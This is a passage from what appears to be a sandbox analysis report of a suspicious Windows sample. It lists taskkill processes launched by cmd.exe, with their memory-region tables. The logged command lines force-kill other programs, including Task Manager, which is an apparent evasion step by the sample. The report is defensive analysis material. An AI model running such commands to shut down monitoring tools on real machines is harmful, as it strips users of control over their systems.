sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #41: taskkill.exe
+
Information Value
ID #41
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:36, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:00:59
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8dc
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 854
0x 8C8
0x 8C0
0x 918
0x 8CC
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x0022ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00230000 0x002effff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000310000 0x00310000 0x0034ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00380000 0x00395fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x003fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000400000 0x00400000 0x0043ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000460000 0x00460000 0x0049ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x0056ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000570000 0x00570000 0x0066ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006c0000 0x006c0000 0x007bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000860000 0x00860000 0x0089ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000900000 0x00900000 0x0093ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000940000 0x00940000 0x0094ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000950000 0x00950000 0x00ad7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000ae0000 0x00ae0000 0x00c60fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000c70000 0x00c70000 0x0206ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002070000 0x02070000 0x020affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000020d0000 0x020d0000 0x0210ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002250000 0x02250000 0x0228ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02290000 0x0255efff Memory Mapped File Readable False False False
  • Region Actions
fastprox.dll 0x6a570000 0x6a605fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a830000 0x6a91afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74b70000 0x74b87fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74b90000 0x74b9efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74ba0000 0x74bc8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74bd0000 0x74c2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c30000 0x74c39fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c40000 0x74c4efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c50000 0x74c58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74c60000 0x74c70fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74c80000 0x74c8cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c90000 0x74cc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #42: taskkill.exe
+
Information Value
ID #42
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM p2.exe /IM p2.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:37, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:00:58
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8f0
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 830
0x 84C
0x 85C
0x 844
0x 848
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x000affff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000b0000 0x00116fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00121fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00130000 0x00133fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x0022ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0026ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000270000 0x00270000 0x002affff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x002e0000 0x002f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll.mui 0x00300000 0x003bffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x003fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000400000 0x00400000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000500000 0x00500000 0x0053ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000590000 0x00590000 0x005cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000005d0000 0x005d0000 0x0060ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000670000 0x00670000 0x0067ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000680000 0x00680000 0x00807fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000810000 0x00810000 0x00990fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000009a0000 0x009a0000 0x01d9ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001da0000 0x01da0000 0x01e9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f80000 0x01f80000 0x01fbffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01fc0000 0x0228efff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000022a0000 0x022a0000 0x022dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022f0000 0x022f0000 0x0232ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002350000 0x02350000 0x0238ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002410000 0x02410000 0x0244ffff Private Memory Readable, Writable True False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a880000 0x6a915fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74b70000 0x74bcbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74bd0000 0x74be7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74bf0000 0x74bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74c00000 0x74c28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c30000 0x74c3efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c40000 0x74c49fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c50000 0x74c84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c90000 0x74c98fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74ca0000 0x74cb0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74cc0000 0x74cccfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #43: taskkill.exe
+
Information Value
ID #43
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:37, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:00:58
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x82c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 960
0x 11C
0x 344
0x 860
0x 10C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000c0000 0x000c0000 0x0013ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00140fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x0018ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x001d0000 0x00236fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
